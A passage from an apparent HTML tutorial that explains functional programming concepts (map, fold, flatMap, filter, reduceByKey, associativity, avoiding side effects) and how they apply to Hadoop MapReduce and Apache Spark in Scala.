&lt;pre class="language-scala " style="background-color: #282828; color: #fdf4c1aa;"&gt;&lt;code class="language-scala"&gt;&lt;span style="color: #fa5c4b;"&gt;def &lt;/span&gt;&lt;span style="color: #8ec07c;"&gt;averageGrade&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;roster&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span style="color: #8ec07c;"&gt;Seq&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span style="color: #8ec07c;"&gt;Student&lt;/span&gt;&lt;span&gt;]): &lt;/span&gt;&lt;span style="color: #8ec07c;"&gt;Seq&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span style="color: #8ec07c;"&gt;Student&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;= &lt;/span&gt;&lt;span&gt;{
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;var &lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;total &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;= &lt;/span&gt;&lt;span style="color: #d3869b;"&gt;0.0
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;for &lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;student &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;&amp;lt;-&lt;/span&gt;&lt;span&gt; roster) {
&lt;/span&gt;&lt;span&gt;    total += student.grade
&lt;/span&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;span&gt;  total / roster.length
&lt;/span&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;...and then functional...&lt;/p&gt;
&lt;pre class="language-scala " style="background-color: #282828; color: #fdf4c1aa;"&gt;&lt;code class="language-scala"&gt;&lt;span style="color: #fa5c4b;"&gt;val &lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;sum &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;=&lt;/span&gt;&lt;span&gt; roster.map(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;student &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;=&amp;gt;&lt;/span&gt;&lt;span&gt; student.grade)
&lt;/span&gt;&lt;span&gt;                .foldLeft(&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;0.0&lt;/span&gt;&lt;span&gt;)((&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;a&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;b&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;=&amp;gt;&lt;/span&gt;&lt;span&gt; a + b)
&lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;val &lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;avg &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;=&lt;/span&gt;&lt;span&gt; sum / roster.length
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here we have introduced two new concepts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;map&lt;/code&gt; is used to transform one list into another list. It applies the supplied function to every element of the list. In this case, we transform a &lt;code&gt;Seq[Student]&lt;/code&gt; into a &lt;code&gt;Seq[Float]&lt;/code&gt;. This generally preserves the &lt;em&gt;structure&lt;/em&gt; of the list, but transforms the &lt;em&gt;content&lt;/em&gt; of it.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fold&lt;/code&gt; is used to compact down a list and generate a resulting value (&lt;code&gt;foldLeft&lt;/code&gt; and &lt;code&gt;foldRight&lt;/code&gt; just control &lt;a href="https://en.wikipedia.org/wiki/Operator_associativity"&gt;associativity&lt;/a&gt;). The first argument is the initial accumulator, and then it applies the given function to the current accumulator and the next element of the list to generate the new accumulator. In our case, we transform a &lt;code&gt;Seq[Float]&lt;/code&gt; into a &lt;code&gt;Float&lt;/code&gt; by summing up the list. Note: &lt;code&gt;fold&lt;/code&gt; is also sometimes called &lt;code&gt;reduce&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="what-s-left"&gt;What's Left?&lt;/h3&gt;
&lt;p&gt;There is a wealth of knowledge out there to gain in functional programming, and this introduction has come nowhere close to telling you everything useful about it. All of you should spend some time on reading and learning about functional programming. Hopefully, this has been a useful taste and will give you at least some value. Now we have to move on to other things.&lt;/p&gt;
&lt;h1 id="why-is-fp-in-big-data"&gt;Why is FP in Big Data?&lt;/h1&gt;
&lt;p&gt;I think at least a little bit of the hype about functional programming lately is thanks to the big data community. That should be apparent after learning more about how it is applied. Let's go through the history of big data to see how we've gotten to where we are, then go through the core concepts from FP that are useful in big data and how to use them and apply them.&lt;/p&gt;
&lt;p&gt;We haven't always had the infrastructure needed for handling big data, in terms of network speed and storage capacity. One of the first companies which had both the capacity for big data and the need for it was &lt;a href="http://lmgtfy.com/?q=Google"&gt;Google&lt;/a&gt;. Another was Yahoo. (It turns out, the internet is &lt;em&gt;big&lt;/em&gt; and generates a lot of data.) One of Yahoo's search engineers, &lt;a href="https://en.wikipedia.org/wiki/Doug_Cutting"&gt;Doug Cutting&lt;/a&gt;, created Lucene in 1999. The project ran well for a while but was running into a few problems, and Google happened to release a relevant paper on a distributed filesystems, which was then integrated into Lucene. Again in 2004, Google released a paper about a framework called MapReduce, and then it was integrated into some of Yahoo's infrastructure. In 2006, this integration was pulled out into its own project, called &lt;a href="https://en.wikipedia.org/wiki/Apache_Hadoop"&gt;Hadoop&lt;/a&gt;. The Hadoop ecosystem grew over time and eventually some very smart folks at Berkeley created Spark, which is basically the de facto big data processing framework now.&lt;/p&gt;
&lt;p&gt;So, what is MapReduce, and what is Spark?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is MapReduce?&lt;/strong&gt; Simply put, &lt;em&gt;MapReduce&lt;/em&gt; is a way to compute on large amounts of data by providing &lt;code&gt;Map&lt;/code&gt; and &lt;code&gt;Reduce&lt;/code&gt; operations. You can have as many iterations of your computation as you want, and in each one, you define a &lt;code&gt;Mapper&lt;/code&gt; which is run over each input record and generates output, and you define a &lt;code&gt;Reducer&lt;/code&gt; which reduces down the results and either prepares them for output or for further computation. These operations are designed to be run across many machines, often hundreds or thousands, so we have some specific requirements we need to support that. We discussed &lt;code&gt;Map&lt;/code&gt; and &lt;code&gt;Reduce&lt;/code&gt; (&lt;code&gt;fold&lt;/code&gt;) above, so we already know that these concepts are drawn from functional programming. It's curious that the entire computing model Google released is based around two fundamental functions in functional programming, so we have to dig in to see &lt;em&gt;why&lt;/em&gt; those functions were chosen. It turns out that the assumptions we make for functional programming are very helpful in doing distributed computations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Avoiding side effects makes life better.&lt;/strong&gt; With functional programming, one of the core tenets is that you do not use side effects when computing values, so if &lt;code&gt;f(10)&lt;/code&gt; returns &lt;code&gt;3&lt;/code&gt; the first time you evaluate it, then &lt;code&gt;f(10)&lt;/code&gt; will return &lt;code&gt;3&lt;/code&gt; every time you evaluate it. Why does this matter for distributed computing? Because machine and network failures are fairly common, and you are almost guaranteed to encounter them when you run a cluster of hundreds or thousands of machines. If your computation always returns the same output for the given input, then dealing with failures is easy - just rerun the failed part of the computation on a new machine. But if it doesn't always return the same result (such as doing a distributed random shuffle of an array), then you have to start the entire computation over if any single part of it fails.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Avoiding global state makes life better.&lt;/strong&gt; This goes hand-in-hand with avoiding side effects, but is a subtly different point (or a more specific one). By avoiding global mutable state, you make it really easy to distribute your computation across many machines, because you no longer have to worry about shared global locks or synchronizing state between the machines. You only have to worry about getting each machine the data it is computing on.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Without side effects, testing is easier.&lt;/strong&gt; Since our computation doesn't (or shouldn't) have side effects, we can test things more easily, because we don't have to reset the computation between runs. We just pass in reasonable input to the test and as long as we get back the correct output, we are good to go. Whereas with side effects, we would have to worry about cleaning up after the tests, make sure that the computation can run correctly even if a previous run failed, etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now, Hadoop (the open source implementation of MapReduce) was not perfect. Since Java did not support lambda functions or first-class functions until very recently, Hadoop MapReduce required you to write classes for the mapper and reducer, and these were very large and very clunky even when you were doing something relatively simple. Some people figured the solution was to add bindings for Python, where these implementations could be much shorter. However, it is still a big lift to write a &lt;em&gt;class&lt;/em&gt; in order to just run a couple of &lt;em&gt;functions&lt;/em&gt;... we should be able to pass those in directly. Further, people started to recognize that MapReduce was not the perfect paradigm for solving every single problem - it worked very well for some, and most could be shoved into it, but it wasn't perfect.&lt;/p&gt;
&lt;p&gt;Along comes Spark to save the day.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is Spark?&lt;/strong&gt; &lt;a href="https://spark.apache.org/"&gt;Apache Spark&lt;/a&gt; is an engine for large-scale data processing. It lets you do things like compute product recommendations, figure out duplicate patients in an elecronic health record system, and analyze clickstream data for that sweet, sweet advertizing revenue. Basically, it lets you pump in a lot of data, do some computations on it, and pump out results (and supports doing this on streaming data, too). This is a lot like Hadoop MapReduce, except that you are not restricted to running a map and a reduce over your data - you can do many other operations. All of this was enabled by the work done on Hadoop, which was generalized into a &lt;a href="https://hadoop.apache.org/docs/r2.7.2/hadoop-yarn/hadoop-yarn-site/YARN.html"&gt;resource manager&lt;/a&gt; which Spark was later written on top of.&lt;/p&gt;
&lt;p&gt;So, if we can do the same things we could with Hadoop MapReduce, why do we need Spark at all? Well, we need it because it borrowed more from functional programming - and being written in Scala, these functional concepts are much easier to apply.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;First-class functions make life easier.&lt;/strong&gt; Instead of defining a mapper class, we just pass in a mapping function: &lt;code&gt;ourData.map(_ + 1)&lt;/code&gt;. Instead of taking another whole file for the class just to create a function to pass in as the mapper, we can do it in one line, by just defining the map function.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;We get better error handling.&lt;/strong&gt; Instead of returning &lt;code&gt;null&lt;/code&gt; when a computation returns nothing, or manually crafting a datatype we can return that captures either-this-or-nothing, we have built-in datatypes that cover this (&lt;code&gt;Either&lt;/code&gt; and &lt;code&gt;Maybe&lt;/code&gt;), and we get an added bonus - any code that pattern matches against our return type is forced by the compiler to handle both cases, so we can rest assured that we won't have unhandled code paths. This is mostly a benefit brought in by algebraic data types.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Operating over collections is easy.&lt;/strong&gt; Remember that filter example above? We can do exactly that in Spark by just passing in a filter. The same with averages, or any other computation we can think of. Spark exposes a collections API we can use much like the built in collections, so we can do things almost exactly like we would on in-memory data (in a functional style), and get distributed computation for free.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="hands-on-with-spark"&gt;Hands on with Spark&lt;/h1&gt;
&lt;p&gt;Now that we've learned what Spark is and where it came from, let's get our hands dirty with some actual examples of how Spark works. We will look at some standard functional programming functions and properties, and how these apply to writing Spark jobs.&lt;/p&gt;
&lt;h2 id="higher-order-functions"&gt;Higher Order Functions&lt;/h2&gt;
&lt;p&gt;Now let's go through some of the common higher order functions you'll use when you're writing Spark jobs.&lt;/p&gt;
&lt;h3 id="filter"&gt;Filter&lt;/h3&gt;
&lt;p&gt;In functional languages, filtering lists (or any collection) is simple:&lt;/p&gt;
&lt;pre class="language-scala " style="background-color: #282828; color: #fdf4c1aa;"&gt;&lt;code class="language-scala"&gt;&lt;span style="color: #fabd2f;"&gt;List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;2&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;3&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;4&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;5&lt;/span&gt;&lt;span&gt;).filter(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;x &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;=&amp;gt;&lt;/span&gt;&lt;span&gt; x%&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;2 &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;== &lt;/span&gt;&lt;span style="color: #d3869b;"&gt;0&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span style="font-style: italic; color: #928374;"&gt;// Only even numbers
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can do the same thing in Spark:&lt;/p&gt;
&lt;pre class="language-scala " style="background-color: #282828; color: #fdf4c1aa;"&gt;&lt;code class="language-scala"&gt;&lt;span&gt;rdd.filter(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;x &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;=&amp;gt;&lt;/span&gt;&lt;span&gt; x%&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;2 &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;== &lt;/span&gt;&lt;span style="color: #d3869b;"&gt;0&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span style="font-style: italic; color: #928374;"&gt;// Only even numbers
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is the same operation we had before. We simply pass in function, and it gets applied to our data automatically.&lt;/p&gt;
&lt;h3 id="map"&gt;Map&lt;/h3&gt;
&lt;p&gt;Mapping over a collection is a way of converting a collection of one type into a collection of another type. Suppose you have a list of &lt;code&gt;String&lt;/code&gt;s:&lt;/p&gt;
&lt;pre class="language-scala " style="background-color: #282828; color: #fdf4c1aa;"&gt;&lt;code class="language-scala"&gt;&lt;span style="color: #fabd2f;"&gt;List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #b8bb26;"&gt;&amp;quot;1&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span style="color: #b8bb26;"&gt;&amp;quot;2&amp;quot;&lt;/span&gt;&lt;span&gt;).map(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;x &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;=&amp;gt;&lt;/span&gt;&lt;span&gt; x.toInt)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can do the same thing in Spark:&lt;/p&gt;
&lt;pre class="language-scala " style="background-color: #282828; color: #fdf4c1aa;"&gt;&lt;code class="language-scala"&gt;&lt;span&gt;stringNums.map(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;x &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;=&amp;gt;&lt;/span&gt;&lt;span&gt; x.toInt)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The problem here is that sometimes we might have something that cannot be parsed, and Spark will abort the job if it fails too many times, so we should not have uncaught exceptions. How do we solve this problem in a functional style? We simply use the &lt;code&gt;Option&lt;/code&gt; type (and a handy Scala wrapper that turns exceptions into &lt;code&gt;None&lt;/code&gt; and returned values into &lt;code&gt;Some(...)&lt;/code&gt; values). Here's the same conversion, but safe:&lt;/p&gt;
&lt;pre class="language-scala " style="background-color: #282828; color: #fdf4c1aa;"&gt;&lt;code class="language-scala"&gt;&lt;span&gt;stringNums.map(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;x &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;=&amp;gt; &lt;/span&gt;&lt;span style="color: #fabd2f;"&gt;Try&lt;/span&gt;&lt;span&gt;(x.toInt).toOption)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is great, but the problem is we now have &lt;code&gt;RDD[Option[Int]]&lt;/code&gt; where we wanted &lt;code&gt;RDD[Int]&lt;/code&gt;. How do we correct this? By reading the next section!&lt;/p&gt;
&lt;h3 id="flattening"&gt;Flattening&lt;/h3&gt;
&lt;p&gt;When we have a list of lists (or generally, a collection of collections), we can &lt;em&gt;flatten&lt;/em&gt; that into just the outer shell. Essentially, we take the innermost nested elements, and we pull them out of their containers into the parent containers. That's kind of hard to understand abstractly, so let's look at an example. Here's some vanilla Scala code that takes a &lt;code&gt;Seq[Seq[Int]]&lt;/code&gt; and applies &lt;code&gt;flatten&lt;/code&gt;, resulting in a &lt;code&gt;Seq[Int]&lt;/code&gt;:&lt;/p&gt;
&lt;pre class="language-scala " style="background-color: #282828; color: #fdf4c1aa;"&gt;&lt;code class="language-scala"&gt;&lt;span style="color: #fabd2f;"&gt;Seq&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #fabd2f;"&gt;Seq&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;2&lt;/span&gt;&lt;span&gt;), &lt;/span&gt;&lt;span style="color: #fabd2f;"&gt;Seq&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;3&lt;/span&gt;&lt;span&gt;), &lt;/span&gt;&lt;span style="color: #fabd2f;"&gt;Seq&lt;/span&gt;&lt;span&gt;(), &lt;/span&gt;&lt;span style="color: #fabd2f;"&gt;Seq&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;4&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;5&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;6&lt;/span&gt;&lt;span&gt;)).flatten &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;== &lt;/span&gt;&lt;span style="color: #fabd2f;"&gt;Seq&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;2&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;3&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;4&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;5&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;6&lt;/span&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can do this with &lt;code&gt;Option&lt;/code&gt;s, too! Here's what that looks like:&lt;/p&gt;
&lt;pre class="language-scala " style="background-color: #282828; color: #fdf4c1aa;"&gt;&lt;code class="language-scala"&gt;&lt;span style="color: #fabd2f;"&gt;Seq&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #fabd2f;"&gt;None&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span style="color: #fabd2f;"&gt;Some&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;1&lt;/span&gt;&lt;span&gt;), &lt;/span&gt;&lt;span style="color: #fabd2f;"&gt;Some&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;2&lt;/span&gt;&lt;span&gt;), &lt;/span&gt;&lt;span style="color: #fabd2f;"&gt;None&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span style="color: #fabd2f;"&gt;None&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span style="color: #fabd2f;"&gt;Some&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;3&lt;/span&gt;&lt;span&gt;)) &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;== &lt;/span&gt;&lt;span style="color: #fabd2f;"&gt;Seq&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;2&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span style="color: #d3869b;"&gt;3&lt;/span&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Okay, so now we need to see how to do it in Spark. Spark, unfortunately, does not have &lt;code&gt;flatten&lt;/code&gt; built in, but it does have &lt;code&gt;flatMap&lt;/code&gt;, which means "apply map to this, and then flatten the results". We can work with that. There are two ways we can rewrite our old code to utilize our newfound flattening capabilities:&lt;/p&gt;
&lt;pre class="language-scala " style="background-color: #282828; color: #fdf4c1aa;"&gt;&lt;code class="language-scala"&gt;&lt;span&gt;stringNums.map(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;x &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;=&amp;gt; &lt;/span&gt;&lt;span style="color: #fabd2f;"&gt;Try&lt;/span&gt;&lt;span&gt;(x.toInt).toOption).flatMap(identity)
&lt;/span&gt;&lt;span&gt;stringNums.flatMap(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;x &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;=&amp;gt; &lt;/span&gt;&lt;span style="color: #fabd2f;"&gt;Try&lt;/span&gt;&lt;span&gt;(x.toInt).toOption)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first line maps over the collection and then flattens it after the fact, while the second just uses &lt;code&gt;flatMap&lt;/code&gt; in the first place and flattens it as it goes. The second is preferred, but the first is an option if you have a really good reason to do it.&lt;/p&gt;
&lt;h3 id="reduce-and-friends"&gt;Reduce (and friends)&lt;/h3&gt;
&lt;p&gt;We saw reduce before, and we can use it in Spark, as well. Let's say we have an &lt;code&gt;RDD[Student]&lt;/code&gt; that contains all our students, and we want to compute the average grade right now. We can do that by first extracting their grades, then reducing across it, and then dividing that by the total number of students.&lt;/p&gt;
&lt;pre class="language-scala " style="background-color: #282828; color: #fdf4c1aa;"&gt;&lt;code class="language-scala"&gt;&lt;span style="color: #fa5c4b;"&gt;val &lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;numStudents &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;=&lt;/span&gt;&lt;span&gt; students.count
&lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;val &lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;sum &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;=&lt;/span&gt;&lt;span&gt; students.map(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;s &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;=&amp;gt;&lt;/span&gt;&lt;span&gt; s.grade)
&lt;/span&gt;&lt;span&gt;                  .reduce(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;_&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;_&lt;/span&gt;&lt;span&gt;)
&lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;val &lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;average &lt;/span&gt;&lt;span style="color: #fe8019;"&gt;=&lt;/span&gt;&lt;span&gt; sum / numStudents
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What if we want to count the words in a document? Suppose we have the document line-by-line. Then we can use one of the cousins of &lt;code&gt;reduce&lt;/code&gt;, &lt;code&gt;reduceByKey&lt;/code&gt;, to do this after we turn each word into a word-count-pair. This example leverages &lt;code&gt;flatMap&lt;/code&gt; and &lt;code&gt;map&lt;/code&gt;, and then combines everything down with a &lt;code&gt;reduceByKey&lt;/code&gt;:&lt;/p&gt;
&lt;pre class="language-scala " style="background-color: #282828; color: #fdf4c1aa;"&gt;&lt;code class="language-scala"&gt;&lt;span&gt;lines.flatMap(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;line &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;=&amp;gt;&lt;/span&gt;&lt;span&gt; line.split(&lt;/span&gt;&lt;span style="color: #b8bb26;"&gt;&amp;quot; &amp;quot;&lt;/span&gt;&lt;span&gt;))
&lt;/span&gt;&lt;span&gt;     .map(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;word &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;=&amp;gt; &lt;/span&gt;&lt;span&gt;(word, &lt;/span&gt;&lt;span style="color: #d3869b;"&gt;1&lt;/span&gt;&lt;span&gt;))
&lt;/span&gt;&lt;span&gt;     .reduceByKey(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;_&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;_&lt;/span&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At the end, we will have turned an &lt;code&gt;RDD[String]&lt;/code&gt; into &lt;code&gt;RDD[(String,Count)]&lt;/code&gt; and we have the word counts we were looking for.&lt;/p&gt;
&lt;p&gt;There are other higher order functions we can also use, and these are available in the &lt;a href="https://spark.apache.org/docs/latest/api/scala/index.html#org.apache.spark.rdd.RDD"&gt;API docs&lt;/a&gt;. Now, let's move on and look at a couple of other things we need to know about how functional programming applies to Spark.&lt;/p&gt;
&lt;h2 id="associativity-and-commutativity"&gt;Associativity and commutativity&lt;/h2&gt;
&lt;p&gt;First, some super dry terminology:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;An &lt;strong&gt;associative&lt;/strong&gt; operation is one where you can add in parentheses wherever you want and still get the same result. This means that, to be associative, we must have: &lt;code&gt;(a + b) + c == a + (b + c)&lt;/code&gt;. This holds true for most things we do, like addition and multiplication, but does not hold true for exponentiation: it's not the case that &lt;code&gt;(2 ^ 3) ^ 4 == 2 ^ (3 ^ 4)&lt;/code&gt;. It's also not true that &lt;code&gt;(2 - 3) - 4 == 2 - (3 - 4)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;commutative&lt;/strong&gt; operation is either one that drives to work, or it's one where you can rearrange the order of the elements and still get the same result. This means that, to be commutative, we must have &lt;code&gt;a * b == b * a&lt;/code&gt; (note: the &lt;code&gt;*&lt;/code&gt; can mean multiplication, but it stands in for any operation we are doing). So, we can notice again that this does not hold for exponentiation or subtraction, but does hold for addition and multiplication.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is important to understand when writing Spark programs, because you need your operations (usually) to be associative and commutative. If they are not, your code will have race conditions and non-deterministic behavior, and may also crash Spark.&lt;/p&gt;
&lt;p&gt;Suppose you wrote this:&lt;/p&gt;
&lt;pre class="language-scala " style="background-color: #282828; color: #fdf4c1aa;"&gt;&lt;code class="language-scala"&gt;&lt;span&gt;someNumbers.reduce(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;_&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;_&lt;/span&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What would you expect the result to be? The short answer is: we don't know. Since the operation is not associative and is not commutative, we have broken &lt;em&gt;both&lt;/em&gt; constraints we need to have this operation work well. In practice, this will probably kill your Spark job and will definitely give you unpredictable results if it &lt;em&gt;does&lt;/em&gt; finish.&lt;/p&gt;
&lt;p&gt;Usually you won't try to reduce with &lt;code&gt;-&lt;/code&gt; or &lt;code&gt;^&lt;/code&gt;, but this is something to keep in mind always. I know from personal experience that with sufficiently advanced Spark jobs, you can break associativity and commutativity in subtle ways that will eventually come out but be very difficult to debug. So keep it in mind, and think about this if your job sporadically fails.&lt;/p&gt;
&lt;h2 id="what-if-you-try-side-effects-io"&gt;What if you try side effects / IO?&lt;/h2&gt;
&lt;p&gt;Another thing to note is that sometimes, it is tempting to do IO or side effects within your Spark job. For example, you might want to compute a new interest rate for each customer, then write it back to the database:&lt;/p&gt;
&lt;pre class="language-scala " style="background-color: #282828; color: #fdf4c1aa;"&gt;&lt;code class="language-scala"&gt;&lt;span&gt;customers.map(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;cust &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;=&amp;gt;&lt;/span&gt;&lt;span&gt; calculateNewInterestRate(cust))
&lt;/span&gt;&lt;span&gt;         .map(writeToDb(cust))
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The problem is, we've just massively distributed our computation, and now we are going to essentially do a distributed denial of service attack on our database! This is problematic for obvious reasons, and I'd say that folks wouldn't try this, but I've seen it done, at places I've worked or where friends have worked.&lt;/p&gt;
&lt;p&gt;You can also do something similar by reading data in, such as configuration files:&lt;/p&gt;
&lt;pre class="language-scala " style="background-color: #282828; color: #fdf4c1aa;"&gt;&lt;code class="language-scala"&gt;&lt;span&gt;customers.map(&lt;/span&gt;&lt;span style="color: #fdf4c1;"&gt;cust &lt;/span&gt;&lt;span style="color: #fa5c4b;"&gt;=&amp;gt; if &lt;/span&gt;&lt;span&gt;(getConfig.flagIsOn) .......)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you aren't careful, you'll read the configuration file for every single customer, and then your operations team will come hunting for you. Let's hope they don't have any unresolved anger issues.&lt;/p&gt;
